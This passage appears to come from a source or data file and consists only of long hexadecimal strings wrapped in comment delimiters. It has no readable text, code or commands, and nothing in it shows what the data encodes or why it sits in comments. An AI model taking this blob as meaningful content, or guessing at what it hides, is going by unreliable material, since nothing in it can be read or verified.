f43c35df6a5b951132c68ce1c64873aebc84cf796523250a936b68d7e9dd1d9c9730d8c679a09201cfa147b9d073d23beab94872fd734c845da1710d3de26b88422a178d1f8b8f5955bb96ca10d5f8d6d0c3ba1d78f1cc0b2901e4ce2e83eb0efe125c18e67fff079127dac7d515ba55acf461330812680a0d7ed053c1d25f92abd75dc20564d7b1a10ec2be2b8411296fc1624d19bc5e0d35ac9f8058057532745ce9872d7448467ea08ca9f98bf96457f95d384dec77189a90e5c309b333dc61a68d778798a3c5b9ae2aab1a89b961b020a728015fa70b003a505b140169429ea6091939b7d79f2233e9970d4edfc215269f408fce6203c3237ae9842c5979bb6c164d13bc313a2bdff6b4006cf3ad0ae163f81775e680952e87bb889b48c22faac6358425aaeea09f0008313fca88ec6b7e409a0fdd88d41bda5e6f165361477ed87a8208dcd7b560e4086cae8397b1916f9406db809982e99533e4a575597f2f0bb0d2cfa5ac70af04c979d9cfb5590aaecb369dc06af261e0e8abfeff01e44573684a997e34bc96489fc0f75f0e87d1cb2dac57e50f9bd8330bed488422306407467e53c5c1ab0add54b78492bddc9c03236a4c2f2f581437033a9fff8f434dea46ab13e0857959ee8b4809e45c42bcf5c4bad3c62954fa5ad3113dc858f039e6a6e5b2c414cab*/
/*5e5360fbba9ae7387efcc5e2dbd1c36412c36494fdffd36a5a4b79af6a943e7a4fcfbcd0b16581ee68f565937699e08ebff6dc330e6856c2242684c876cca2e214e3373fd61adfd65b8975a74b53911586fd927f41215b16528eae9895989bad57812ae5331d0afa94d49c63346ae915b6380c391cb916ecc941d4633dd32454e16bb9270e7a39f15a5586e11947a601ffee1c8e88dac641eb7523e4851c655f947c0d31723a4fec0390341fe4f911dc5694eecf010c5bb709f046618d9b857e8708afc97e5ba4e614e0d30af964c1f7cdf6edea2d344c143978b20879415e1164ff546b67c62d190d73faef80533ba9ab2429ce609bcf649515ad90a12d903b0aa7b0bc13d5bf32fe9c94bda95de7f173e237b66a8be974c2f38ee14d08b74aed713e1ebcfa990373ac06c048df3d089a3bbe19e8faa6c52cdc55aad297e5ea2ae45f60d4c2978d66bad7403d70729d3c17c0eaa3d047bd7a5e7fdf00c5941154a733cc3ad871eae77a8dd69f4deab4d1765564f47552b642d7a15c25a3230d9807aaf5c71fffd4b29642540a57d5f753bb48674038a42f4401d6414c108c329b27983e49ac1f429b88f40166f4932d890f3e932c90574f1272297b5313f7090e855ebd903a5db2527ad4d3354a384e44fc359387755561dddc39aa1a5c630eae5c8092b6880852fe54fe33bbe008a3573d7be975b6a998d2aba5f3370826849d8749c4f6d694683f382241bad9624b76e4e5616e6ad1fdb2fd060a87092a809ed2fc2642ce7e72a486257bcc45e27c24a723e6470c9fae38db0623eda69b7e5b6be10c604ab83844142bf4b13a4a0d24777f9d81601a1693dd045982e02de1fa5d315c64fbdfe29808006be9d85664e8761b3f8ee54b2f0e7bba8c0fa9c04f3631fea188d06c99c607a7479eecc61e03f1bb0ccfd4f471ef566550650b3015915706ad2dc822d2d477c1dde14fcae3ba072fca38cb9edec4bfab65bb14d39f8a7bb29642057531402d75a1f4748bad653083498844fe377561414f2e1ad4767d7d08c6c1fc0230b8a14d0be94ae36931c7558211593977275326b2482e95fad52847522d3aaf8d37b68fcf75bea73e2002130e459985f37b02f9edd96252576d1e5ba1888e3d47b993989e98443007b8f81299e34c0e15166d6aca457aac134d13a4851a2881afdf3cba1ffde264feaf200aca8139ef2ea27e7cac69b164182b8bc3b72ab7a58f541a846fca357b94e6b416f360515ed2e5a93f9ea0084fc4e07d36a0f4695bfddf1f86c5473336becea04ab9e245e4109d20ec16b8378f28766beeb43b708a36ab6a234f00097f7e18cd299a21d7ecfe0223e1f8c0552ca17e99f44f79f1343820eca77856a5dc8a584319e8398731c56f326a25187ff5e8dd7b7e18fb8d27d3d706c8067f849aec3460b1b0a9278b1a9dcb3284c8880984f65de6443f8c443a39875905dd2520cb6c4d3b62be6bcd7e7f7f2987d9fe1551eb73957d405e14d6aadb805787d869c74d0b4f35328ce05e6a5e37042a9ce85b9835b86e354d44ee57014260d16eb2e23d0a5df4acd1ac7fb7aa4dd7d433196aef12d58a35706d98c9e7ec5c52e1253a6e58ba2e638166b7c90affe6c4cdf6dcffaeffe9974a8714777608802dcc45ab813e4cae637bb81df823ad94519f21ebcc9ce422f9edbbc604d3dd37daccf8092bbd4ceb16d23bf9cf85f647b8c786457daf4e2c66b0f94bead6fb9a6fbc93e2e8d33356ef00c645099179287d16a00d73d1cff0e17a897938c6b6cd6a3c5abf59920ff6c069bc9874ab03b3edb1116b133e0b98242f02df71df259fce0182c0ecfcd223648f02e301d76d19be7d1e17b91493da291f4fb8f69b22e8818809d3db9bffb8bf6a0fccd71de38328bb5170ea6b0d2bc080eafbea4c3db39b2720fe79f9a0bc4b53433891e4e4f2240361b1c86f759115551319cbc08dd1798d341f4c0e65a7571d030dec1a25dadc99a7213e29e3926c97ab3aa3793ee318bd0ea3d8aba66bae637837201f592df02af523fbb485c94e456ba5327ad8a5fed3f26b183bbcd805bd45963e74cd85be241797056e0357a93ec1145ea78f7b046174384f15cec5842fc11691e47d5149ba87e3eb7be8fb82e0c44db86c740b461256ba6504f42b6ad6f8178e761103c0a7d9ef95674b83e69d59f0a8de73fac1c3ff118cb0f2a8ded83de851ea126d03592eb5921c6a174207060a194f440eef98d901ce9d4c87984aba841a6981705cf7fe3dd0786066880e240f09096f013b8959e062e2028a6e59d20f37efb3d72c62123280cddc2bb9fcd27dbe1392721485c3310c98ecffb907f81120ae9515f073131b6e70c82d3bb1490db2c471f3809d758eeb3d43297f2210eae279e662ad0be56e7725a8ff163e9d77869c6bf4d67cd0edd94bcaa59ab9a468f3f14a3461430d924647bc4944a5030c6119b2d969eaf775e021d7cce2959191ceeeb3751236a786e2a82ebafdabaaf7f77b7e2ee4fd6b6dccb463bad693053421cb7a244bd7cbad8ac69aec566084ecdee649c18b9d4ef459ae09f75b8abdc7a97242e3e987cacb8b152664f059ec0fd02f1b74ca662defbafe7b7156c8cedcf8152a2c04003adb3640785447d6331a77e36180b15efbb9573629d2388b0c948697df1490a9d0742a8a760cda721d8aa8c251841a4dcb477348b88952a9c61dad20bc6f479b0fff5f61cc2b9e01de4cdd270973e53ca707c8b8745a5ec06cff7c01ea1a274190a59fb43c32449aa1ab19e03529dad0035b52315abaffa3f18d6a655aeeb148a330f0cc29af291bf1a0f5d03987eac0e9a6*/
/*ebe95086b86ebe2b75a73bbca1e6c95a0ca86a26215fcd16d74283b299a4602e9be8427862e29ab1891500e9a98c15b62013d9e0eead740644a7bf93f3a79569f58cbb6c97d07c2469ad531e64ac8b90760ab8ef2882537e309c69e4627d3da15985349774fe65f1ff13215ed968fd22dbf35de35fc4341ec87bdcc91e4096e8b4fb041324db3081c8d154c79affb7eca8848034f288ac5706b4cd794c7b05267ac81f914f1d9e1f0bff8be7bdabb3f6e32e17a88ffc1cf5df9630e13f38f2dfc30f3cb51eb249c70e5f6000338e62ed904c075fdb57727ca7d38e41bb049c1ef4aecd4cc7fedbe7fbe2c5d11907181506912d20d0d02eb15391f2f76938c211ac66fb1e2e956692c9955dcaefe89c7e20f2894a5699b7334bb65517182866722f3c33508c1ebef984f2e6df5630c313e50a5d7eeca0eea8c6150035a13fe9c2bf09732fd64419bfff22f69738b883a0b34ea0ff1e9d05ccfa74db289a8ac0f0f39a26cbf6dc79f7dff3d09038137cdb27417c2a823d6e61dbf2deaff768234bfc19d4465a76b6f45f22efef39ff7404aad76583a004ed2afc41a3d74d552e4dbca81d271b14337c667854d2dbbf79b814992f15c606818ce68e6401f8280998af5fb60695794e40cb71fd5b0f413a3e9864a61f66d4fff822d0dc4919333cd58ccc4508cb1aeac2b09ab61cc98da9560b19fc355e89e0ed0b3393da81a08821f8037fdae1d75c404dec735de194c55e51b6cb8e70a4b50ec105800c9c65fae79c55e7a046674f2227b98ee6b28ab78bcb9e0fbf865ab6aae93094dc1f0749e68328c4870b63f8a12b44c695d6fc442c5d1951be35b10bd922d119d9e781f980d095ce62fa633fbd1cc6f87fe832235631831990166083bbf7621491b6c8783b0cf0f0b4f96600f9bc0192f040ba29107bdd074188b613c459cf65f100f8c79a2a57578f6038f54612925dba68bf0cbe2bfe7fe89fa7b756ef9f4ee4fef133b01a1e011ceb8bd78e81293907d6efb36f0f1076acf563d824cf35cf0bb3198d47283a07427fb1f6ed2eeb3d33a126f3777aced3cdc19eed777f2d944acf3ee9bf5439930c2ae2e4abd76271a05b60d76c80e351ba83f58bc2db188301f059974f3c167699d1e4431c29884d07abab25219e58cb56f0bb2734de3ca58ef4e34d6ea7c6fa6a54a856cda40adc94a3e28568a468b878f25f4e881b9d887996366150872f475f017f350eb7ebab7e6fd30fb8529c7117b3baed1c3012d1fd106655e8997f96f91c36bfabf2644061a4f0de1c8a4715ea7fe30893bf2d7e31925abf19f4b4e53e0dc194bff715850fb6d82fdc36b05dbece5edc70c974cbc82d83c4d8e11ceb2556d897dff8b3c391e5de4a38264ed66d6b64c2bcacf923e99db8eb46bd0d46c03f4f17ac616c947738b08b24ef617b0eaf4224b5781b1d60908bc02a08a152b22091f679072a05a418618033aa856b836183ca34d214baed0cdbb0d3c7b18d7219d20858237c164b367d078f39b564357a6ec6ba69fa3fa0a60a1b2c2d03a77a4dc911806f97439ad272af690226e87de4af02bc4283744b3a87a6c9854c2d8d70b29bab98127e76780b770c8c4c87d7c6962158e3135ffb63abc264bc2d9c748ab2ec42bd0d3f3c19c1596c61671dd00dd305a22e6438767611c28d07d8716312c799835bc190cca28ff9923eb1d366b02828bf5f5a8bfce4b713667d2b33d90e04d784c072f0b5a05ed5c89779707a5b06e6574d4c1119d413ee390d67dcbe1a2b0f559760dfbe8ea2cab51e8d8378edc27c4a12668c8d57e699758db119415330b44314bcb84b59e39aa4b2750423e742603d8c4a378375cb8132eed73e3decca5b0fcee33ea1aa8d7555f504402a2e78c26f9ddd16a34161aa9fe8e6684449e0421a07d544ae15336c2b38742fa678ea3795ac19490b918369c421b308626e36256c087140c470f4ccacdaad19c5e21f38db3046e184f1e0f4e870342e0e2d3eb2499b737c89f0121ce0fbb788c8c8be7482df19c16f2736531e9ac1da760d85bb9c519f2a133320d6a9c0871109e4c99ced77ceb19453daaba4da1bd0831de99fb67317d1e8684c18ec80639f0a2b11ae9b8be41a8b5dc2be9c58c1eb5d0d4ad5bb91112ad5bfbac63e98136b70ef8dce0071726fa2f56b66e31a9a4efb87e87b5b3c39f98632bef3c2f299c533c0e4ec12c381c435d9f14335fc83cc1bfae593318dd45e6c750bf6ec97d5fb88e3e45acabd84017d2afca908b79f32f8916382e58037fb39fbcaedee9f0ba6b88705109c197ed3e5acaa95cf6d8dee5ad2bb760dfc481e57f93b59bd6d972a1edd9794a894529069e0e8846d8ac36780b22e6c74c55ed31a9f305aa09c171dce924c33b9f2e41c61b6df96b032716382513db68db9f1bb726b02d9585840c023353b8a7cdb42925abdbaf30ca9bdef19d914f380badfb16fe82e58b66ed2884e778b1e625d3ac2322a1b86a44f8e83069ea9bf77517fb3f237b7278b90dfc44af97fcd0555bbba8ee925513ac83cbfaa3aea5504101b35dc25303137ce10aee3250e86b45c2081d9f0d46db4836d0c64a61b08c2bc2b722b858be8c9f8868836e379a7597114327d5c6e3e93970780ddb28ce5158ce636817c0025740210e9371402cd612ce99354c5e4571e538c6941ff917ff53a17fe077a07ed454de00cbb37014dfbe9660edb04209e6b50cb92dcf4e78a70b118ae7f24622b7b268ee1248d902484a7e0c8b8a1becda1d2ac9ea9a12303816e3bfb3ba63c146e4392a1db4f6953c80e2be7b77bdc7355751304c455f1b9e50baf48bf960c3b7d*/
/*f2bf395664d79be565448f71a5c68180f650b175cd3a9a03817954d418190e454a414c425a4c1233ccf20bd7b4b9ef3fb0e5707823e656f7375e051d4d673d29d1c507189198fcab753e3d6c26ddc0094dc5221898cfb70039218819d08853c33d8ee8861a80dfc61a7ae946d8f39450b24abf36f90d7713edf7032f9f6ec4962b21298f251c74bae9582ac2555b63479bfbe754ff3548b3766b06905dd037f7e6aa72f5f48b5db60049c50a920d143d7bb61ab0a7442370da4521881e2cc6534ad9b97958316afd050266642b31aa398f2bcc5e990cc95b2d3c924d4922a9fbc297eba0ad84370484758f4d63cef1b4bc9c951360fed7f173afdf8cd135eb0e593a704463955eb565f9c23bbc2baab7d4a0a8af96aed539e897c66dd5adef375e84d681675f111a41c52dafefc04aa938e9ea7ba15faa70dcc819921de3f4a57edf55ca16be6cc1175feed6e2f4af2a1de13f6569cb8bffab95b62fc2a3671d0c73bc7da13cc893dd800f16db46d13c24043eaa0dcda181224b0923e091df2d63ae56f531e5d4774a6082d601e230b19ef18d57ec28288ca00de6e6c44998ab1d07bc4c2204753c3f8a5c910451595dabe5c0629d1985412bb1398f644aa6313ca6289dbd5ae09c2ebc4bb213ba75a1de2e0571d87c843b20b1fc3898b84f224a85f19d8be73e3dde993858da9a5c61ec8b907347d23beab177c5477793b4659db6db1680657c325c6dc45f6abfaeea0d98230598a479c9dad2c7dd6d55c200a25df16373ca4592575b4fc2f48cacf340ee9d2fce5c2739a942defc15220e244c0274a2ff28a09fbea5ff516f0e4a3919730cb41f08361b98fd5278d789604c412ee99a68db3a9e1415171d18f44e43708d6c4d20cbca637f0bd8e2a9bd3901f72171fac27ff8aedac4c8ece2f14ca771a4201ee0ed539cfd8ed5fdc1f84d754e4de7302fc1d1f24ef3a9789700c59dbf63f78950c9bfbc3174fe4de0f52dcaa7f4c3b5a6064e9c60b0c92a32230ecdda615ae9fe84ad0a1b87c3e2ba5e7040640a0b76d80e7f1ededd449de54e59944401ed96c23f521f1056f9c66035326bc6852df5eba4e297bc1d196e783bca7bf49a0195eff0e8c6f173afca0ac12acb11ab48497ced7856ea0ed17378194fdd8e422e2bf85ee1b8f2ab443b3f1680a6b70e4f66c349da81b0cafbe389e29981e015380055ebb11272fd541bcfb1adcd68e53ef5d3d31e38bd4bf1479e80885a39e49e428baf54405d2cb76a5eca77371a11e04c9a4371040f44663be9ad50fdd6e2b49c9c65b40006dba8f9dd1b4e940b68ab96b3db154fbd068adf641604cb2789f65bb85bf38bdb0a7d50505be5d6ca61409850daf733b970b2309c2c9082a9e0224bb73853625a9b0ef2b73060a0432536359286df07f3b47c338b660aa17c5c5b948d0793f3bd95ee72b2c6479e41d114da8f69320769205e6f573176c5e5d48acbde6897f14278f870df248bb1357c6078b3eb6b9f2ab8dc57000657c2c077736b7a83182c46c20100e2d8e9df82319db0f0fef7958f868853a60a108c8d414f96ab57a74edef5f7bcfc3a362fa6a0b22b9e88e637da8e05d409076d24915b708083c11e1449a0ee87f0beea1b820ba9f189917e9701b411c9e35340caf20994472214fe536dc3fbf9242685eab28c71ef6256bc7e492ab78be1a0431493dcd777d21f1c6f0109cd1abaf713e2a9aef11dc3e00f37e49c64fadf583421444f0475d320bc3c084de9acf12d6a52b96c169130ff329b9ffbe5efdb672b71fcd1a2366b7ff3eb67004e9333bd712b37b8fb2fa7579d92f8cd73d0f4d98dad1063e2fb35495a25a7b32993f9e4f38a969d72c24fc492f25ac5aeb4a0692d4ad8392b65cdf3f205595d2f11bec7cb1ee015370ed933237082071174805e0eab930f447d89f8d3046ab3c7642394af2a6caa1a35f28096c29d7e62d28ae6b12ab7927831b49ba732ee4bbdf94b3956e62313b6b9f14e294bf2de0fa9091fe86761aaff9ce83a2b4b3cdf6138a4dc83a19e28f2d88e69d191a836a9f08933ae9ac63940c1efb8f5714f69a7167496ca8a5ab0b55016258d7225e597df1979ccbfe939107ff46eefd19ade21461dc55f5e9a5dda23d5e5fb9590906f57fe26ff6a341ff4b20baed3c111864c9c0e1b0924c3053f60f8776c047da66973bb92c374229b498ba5c6d2256964a6ae362689d00eb9f381b32d0ffb776512b4b7198caa4b3f73107420a3fa8d9cb5df25e3534044bcc6e765ff1c76b8429e378afa5ea18f27e041d01a95635032c159ad33c951440d765459f0e6a62276762d766d0ff54a1a6374a2299605447a2243ff5bdec05d908329e9883f717b4592e3203e24858667dcd547df42ef69d40d6287dcf368054da9822c9bf5e579dfdeb89657ecb4f1432efc39b027a5889373df3933e03925bd804462199503608dee6a2baa9e39e59121c2186e334ca4a30b28bac628c8e1c7743cee921e22a0182960819ec1aed892e76ebc08a91f10af11d69877264c1b2875857d301fb210dc0a91f9a4d14601fb587c0a817468c318989a2562027b0f25ca50d0fff8ce775b044f253b50d33c3b5d003af603bfa94e267e1ce0031dfd8e587fbf35715f03767c35039c0a8358494e9fab43d378f1354ec24ce37d59519a53dccc35dcf795b7b6753e23af12e2996b83a1f6b5ca654d32a4e68a6109702aad5d2a1c8584b4dc0709c0b2a34a9a75d2a044be6e5ecbddf9334325f703546d969c540e669049f2d7d9e49e3aed2cc309aa9b5a5384fb936c752e925552c8790286b567ea764838e2c010637dae*/
/*30cfc5a94cdb498d2fd831081817c0f66f6bcd40cb993bb82ac2343b9afd9ac630e117943b8e6fe9bc77fb4241954055d533c920d272a81094c421db1c18171a8ad76b43e69eb474891c05bf0ef8ef2cda32406925e14b46db124731d393b052b2d6fd4d5f71efadde83d9962415535d6e304d7e09cecbe2835e4ef304e5c49d76633022af3ee69935e387a5cb754c330207c6588bf6b3f920bd55501a0f035845635098a5a642056fbf5b8a8e91a69460f0cb3efe9e4443d461ee6224337f4e109b223c7881a633c6c1b0f79c7d4ec5c4d32cff0126392243019c9850c35049147f1926b7bc1527f33852d6a639bb8db92e06f44ce38370f230a509ab0d40931579d77f9111705f3ebc0f0efb346f348f81f01cbc57b73f5f765a0ed55670a9c359b100160f7f934dbcbed5b39210028695a8f73c4044029f3cf990227d8d1d52a0fe24fd97d17f97de2929f9b5a80ec5b5b260c383f848099f61e372ed8fae0ec8e10133afd2dac3304f68cf0b04e63199d594bff7e6ec725b7bcd719b1eab5574354de4ab68837118168053ba3ef27d09dc87b1268aae43e3996e26982843fb77f3b49a20791ede0c27d533132213ea74af6e3b2411255e6dc60350ba986a72cc2a2fd967546af8959125a4ea18ef8ffe2fa8e6e334c5ca38ca2e120f7c7a313197bb332dd2f718f2fdab3107e61b154065cf80654326c03ce74f3af5b3a0e99e51def7ea8189edc4ad083877c9dcc47a0c7aa0618671845a973f3fa28811c05e8ea642f4cb8172c96874e74a1618e813c35de23d41216fc29454a062fe5c14c83053e370cf5e4dcf6ab8950c5ba27acc069556f9367b018000b9d310db35bbb197741062cfad2089b9d2864cad6e35ac171e615dded988bcf30d9e3d7e07f3c7f2d12b97d5ce380c8e5953c579580c8abe13a9a500a59a37a477a0b92880b30ca8d80bde1344c400510980198674c479e79852ff32da6c2b4b382cc234a9cecba32ace41570872dbc85596a2cda5e4f9f63cfbcc5dd307ea8936a6e9899b804dd391d08058f12a99422ee65d4ed2c1f8f9f4a9703c74614d00b4cea1c811dce378bd49f447b240cb80fb4ed1bc6baece3a752ad41733ba90c750c8c291580c97574af03e71cab6223e6e9e8ca3bd0146d6bd5aa4a0e6c779b960f1f4165925972ffa8eca18a7e8187af858b1456aaef53d7a4e20a028edaf0de50166cc910d1a6267d359f70382f45c12d89eadac9ba88c45a1ae07c35f06094d21947ffe7352cf04d6e7898b65522931bd44110a6c7266fe236fd9562464faf3dccfd5126b04f7a62d2d27831d1baa81d5b668cb1c088a199c7ecc1e668f1f5259747bbe581f0e3ddc6f80712b79c81a249e6c76fed738c8694a6e68361582365c1ad521f431a0aa0b840ba1711bd85c6af43cb649c3d4f8a71cb30a10997632c43b924a7ee8b8fc687afedc4fe03922d7b79a7d1802b42c12ad23425eca3b3ffd29896831472630ae7128075f003c0a2f3b15aab92a281d77a2862ea0d7d2313760517619958e9e4eef8050ed652b43e703e14ebf9259d75073b8fbdb411db289d4c086808d07766b6eb0483f2a8262bcc151dda524bf42ced0cd6ea747bce41c7ba8dc8bc87875008afcfbc180080bf6dc035657966a38e4719731d0228140af239ad86c3bd9534ec9539463861ee0e2dbbc904dd958fb46bfa72000ef2b92b3839fc272d9cd016a96b806e3a136d52cdc2df866e6ec7755f09f8be25d43812e28dfe88c01b1db0334ea1a2b44261116a23154e20d28c9c21155749155226ecf470bd44bc921e3545afcbfb2b97f7e4b25b355a10ca3ce3ed6fea4f3beae31999302490f663e370fd4905ee35256d59c6e06f77907d0712d0b347c688ca400f0121f0215fb2ce3fff9cbbeea74633922362c6f875d8c17831f7986028c786b9398f4434e330eee6422bb951263754556175ed02ea66098d0197735797989112df0d97098f12e14e068d73182ec04c802436bb7d562a5c3253acadf62b6783d924c6e9c4321cc16e347991db816b818ad83a05cdfb2a11a89ff95d5ff63ef7a8496a90edeaf466519778f21cd48d1a8c45d4f84c7175ba4e7546e965baeb93ebb81cf4651a10bf2881b26b40708da33337f2c8d87df29244cbc0dbebfe09a543ae35586e044e0c95717b7894983d361acd76840429e20470a8ee756c86b8662fbb9d82b2a4d5d17e055703b4d6a756cc90addd1e6c96bfbedd6c9d6adf3f310fb0b4d1af3c71edff9bfbd070fab821058ba926f83d0c069cf195070f3e5b1c5c2f849eb6bd7027aa8935d1d2de98fcc957ef1dc08d2eb0973985e80b92f6eb311d74f6fab5cc4dd947adf00b22d2b77b20c5369efc10c8aef7c2273ca5423ac1bb211fd737f5fcb6973ac31ea3e65b3888a68ac5acc23377a354401cc3f1ce7291d6c626ea6824e3647354797428245c9329f0cdbd2a95af627a23d84eeb3ce906d38edef23decc8256c29c35a791a1eebe5031df2d2c7f9dece1ddf3d9cebc069b2e8f97dd678d09f3cdca32ea0240a8210b781e4e13ed12ee9f518c2d13d75e57febe205aef3c677f32f25a76a25971c7fa4fa4ade0e2e9541edbabb9e16811a92880b28a05e0dc331a23458766b80ec055f3180305246386de8d8d30a20c7353a0a6fef6929afd94eddbc9bdc45b524e5a42456950271bbb49d90f4778f78b832bafef641401623edc3df43aed40a20646553e1e411d95fcc55502d851ddf784c6e73dbb2f07a13b50c78af23728926f2d79ff4657fa6760d35b8b4603abbbe5e40f57ca0688701c423266570b9c2fd7c6ba*/
/*2fc24be8f29d46a7a50ecb5778c2bdca10826d1d50f108bf26d5b4ab561b8e6850a3cf74641124a5d6cfd8e4e700e75b534a5b43bcc27b4677ce2bd1669bab764a87cdcffde2a9a47f6189a2caf77c2206c6a226f3d67866fff31e365f562d2efa4a7b5ae716321e5b88002c20ba9ae5d36c3171a641395d46aafc1ad965258730089654e6fbea5519f2f70a8f4970ea3531a6bd3af99969450e402ff39c40468ee6e588655b055bb8c608918b9995fe685532ac29cf94da0ab3b759b0759c368c000db505a50c2bf09dcd02cd0cb60ed94aa031ebd9822ca721505c0ce413ebbb9a96d4b018735cf34aafdac6c708d0b96817ba248303f6746353552107b15076827952f5572e5ac3bd65f15de4487642bd6dbe3b474102e0d12a045d4eab2d668ea0ae516cbb0a5c491037b02f6da3fe27aa336de0d9e746d17823a0492a326fc287980f7d65906b070554aa257d0436b57e643c709a3ac12a01fcc612652f0f3072b7b0cc1592aafac52d68d3173512f9e28430c1a069634a5419702121b93e8998880a82479869dc59830abc6eadd8ba6db9aa15e5324c64a3fcebea863a3ef8f631ab1cfc567a7a90e82a3445cca1c386afa6feb3b9bb3b114a23624a285d3fa1fde80ebc939fb4a4b3bcbc9c556b7e85b97d2cadea37b7400cb7249af51c325f945a5baeb7d4419a952ff06955c2b61cfb7196ea37eb5621eb649915de93f396e7f867eff44b6cb69c61eeff917d8338395b4872f4c68645f25393f7db6e17092bb9f544db312a475f224c931e53452a26dcb1986bbb84d25770e94fc1692c3bead043841a12b15897ef9f053aaf5a893cefb165895e9e38baecbd66ae030c1a66edc487ed6caa4096a3c8a17877561393e10393a15cefe629a9d48909f5ebdbf15d332b3d29daf9e7ac08acd8f042df2d838a9e2070c67b40fe4bdf7e1ab81cab296ec2a09be08154a1c9ac9243f58f38740d0653e290d9c3d0c74232d13c7413b3abf30c572fe041381536a2408fd37231a66e6678fb022bbf3dcbcb3f4bbe057baac82df446231d81232d42e1fa20cd5db0429e0f7cdf6f7e2b623b8bc6e24441b0e9fb2e4c02a34b97dbd2485ae4591a1ce1d5eb2d7016b599117b280b8c5e1a2581dfd27dcf9574822dc628659e4de583b55056a8fd40ae9f91575c9c882e10f87dd50a4c2a0d58ea4c83b443a11628c0aa9018468432626a6e2b4eec92c3bde0bf888409609c11260f0217483f398a2ba740465ea4af1eec0d661c249ea17cba427933806369d836061f205148480b342b2ff89eb755d67b2d1af7e2b8e05672b425acc0d0af315c902ecdfbd447530afa1577706f676c85df345c2edfa7914617b4c2f7f049942f1ceda0558e5cf0d0f7aef0e2c38bd149990d994a1132e1e1d7ab7b830e74056f1cf96a7d2cfb296e6658eea757b6632cc572311fc85fe17310456ca49ddc2a330078cf45186a5c5b3abc4dc400759ddb5ce533ff31804237b35b0aa5516de975ebefcab8496243070820642156ef6863add5cac82528635ae4e8e21af2cfbea633abad22020293e291ca2089bef7f026f21d69f96a4e2bae918c766177c89450b1c0062701cdfe088bb37aa213f0104c50c570f0e9d013ddb797c694dd136b6862edb379cfe163b6ed307cda0a876fbd34423106cb8e5cdd2f39d8777caa1b8f0f5bcc94a4f163342f588febd7309fb81b1d5f2a0321846268775c31b4a746e5aa2c7f19b3abb49e60a8b6fcc00d90c1d69030730829bd3e0df5178a0a5b9495de97ece3630cbd491523f59698ad7659510cfc90986f05c5dfcacda8c20ca4b839370b418f91f1a19f72a6c332abc067a9a3c1a2e339a11d9487531372c888a9a008ee5db048472dd995ceb760cf96ec5218e229abdb50c213264865b85c55efc7434b8146b09021c205e32097729273b1e23d72b93eae417e33f4c6fd3d5b920bbc12a3abda1c690e8dac729aafdafa991e2b4f146c39ed2f945e43517f3979c277b75ce7e24164b48d5dd022ef45991b7f60cbf7edbae2e17a11635e9d65d858d942cce1d4a4cdd78f37e697801eb47892cd0f0c96f6442d21042ce724d51935b1ca54de4d7327b8b3bd0683152d0feb489b3bb1025282daf78c19ba8c5b8a0da10cf1eaf80c44976ed5ae8ecfed447c85f66896a79ef9bc44f5c90405c5e3b1f80761aaf72525dcbbb5c1b7265cb4c734c0cad362eee30c6f93f51e66061057b35e971578db5c290b3a3b8222c21c01986c56115440f3c033f3e219a9ad8c29ff8bec2e4086b091c6cf6f848b3c04f8d419460f06a5032e1936ad7622b964902bc1aefa0a4e16121c05e5bba22293ea6847434deee25052799180b814b3f8157ae3d5c6274d60a9ca5d44ace9e2ad1c2e509695cd93405d46aa659bfa9d6980b7ed1815c559fd857e2030b3c284bd1ae2d69f6a6fc2d0050ecf526aae75d22c3441d5e5694d12bb2f260e6bde8ee74ecabc1d33125f3f812666a34a0d275c493fe6e0d5b1c44e011686272a1895f429b530c342b8581cb725ea072ef1fe6e6b9c6471ad79fd5234629d97e86af84977c6a562c35c037415ee518dca215ff3385de80523b14077565972ead91e177e5cb2cbda1c79c188d2c60fca4d3cde41e475bb40d1d876574c77dcacbddb7119d82271a3168f501d2e741d7db38e3fa7a7506b28718b545544734e41f1c15b834b1159717f5b746ee54ce6c8d950aaf1014337d9a30f3c3d8dfa357c1adec0580e59fdff3dbe1c935b4aa421b29413a4c6d93cf847c36edc28ab348407a295bfe6d429bacd27eed845e4eff6f28c39c68395*/
/*4ad13100d28be50d174f8ec06424e63b400a4a45d32f334d5adfb74fd5f5cf465b9142bd7a8c8f7af8ad9abd1699edb76e92cd6cd447b01bdf6dc83b2fd5801a40cbb801a5a4bdb1ba703a83538281aee82b56a82ff09382189bd4fca85518ab7750d5c079d5cd6bfc06b8b2668f97b2da68599ac52bc2adb647fafbdf8480bcf304e369107f8612411746858be60a587b0e43b87d3e861865dd7e57ccf2698615060346ad47a5927b00497eafda354dd5e6c2294d91cae691602dbd69c3b79abdc8cf01e525149f082666f768cae6ad7dc9ad7a12722ed7c394041bb825114a70cf82223aaa2ecbeda0b75994489d2978376cb0537e93e50656895722352b8022f1f16e75f39d0e81b4e8821dcf7fd4237175bbf46fc6223984194110b73e42a9e3b69b1279917928409d25427ed1253eafe90fb65f96297806e1fd7f6f9a404cc30d5a75a82966b74c3a7185c0c85797568b1b13ef60f4c24d4d501b26cbc824a39fdd77d210faafe76b5b8b4a59b4b71b950983d7a93ffaa17b901d9e09112678ff8355fd0eda94728ac9e0218bb87e84937e08fcf530329c1158e656bb3e4d6455322d9f7443e9ce6b2f4375ed94170c4b2a4b9356ccc1a28490feb3c3d5f7e1c6ade2b1894e522dbf7a92b154844b70a47890b8cd9ed9cbd32d82d5ff5302cbdbb9605249fa3424680a0250c9e75257e6b8bb49eccc0ad8a0bf58fb46756e608c160b6a33a7cb1132a7d3d4105a2cd728d9f2d1b4094ff21ce561b83d56697a1cb3d8c1d9345fbccb9f915300ed9a88775a4cc84b226d922b62b97753651201e0abb02c6f35cb03cb8bec3e99c3c05bed0f2f022fe6dc70b97b70dc35be80051b219b653d30abcfbfbc4a6b65206580074c6cdfe0b69ea90e251cabc92acfe5e2d7c2a46578aceb894513c2acf662c4ea7fc252990409a75d64336f0be8eb0dfbd26d2d3d98a44deb7b57f3acb7f5261fe50c9ddead01cff451590ee82b14baeb3cc67138c7370194d039049c341f499035b15b21d187d592f59b6ef101ee9f74233e9a5cc3aeb08950965d8c7ed999caad810f30750901507550781160b98096ac48d75ec08a7cdb91251609c581c17544a5234168ed64e883679a2a623f36e1899bc8688090b64b095e420c9dbf285e5e0af3a38e98a770814e0abfd3189f007ca753e156c43cd6fa44130a50ddb21f6a4d38ceeafa5d502c59bef3ae9435448e018ef86167d7ccc5021c1f846f346b1c18809d0aa2c7b0ada85e2a9930cd547c5e4aa4ada11c9a258e36d569bf33f51d7c14b0e50a5dac07ea7551af61a9b9942ec133ea35b942c18bc7df3834c6f32c2a150baf9c88740832837bc1b65079a75162f9a3df2e4dbcafcccad051d97b08f890501136a02c8d569db67d57c7a34fdeb39cca043d309fd64ad161a33d3035d26138b66d800dd9022b07ae091a45fcd1d7d33e147cfbd412c2e18baf3f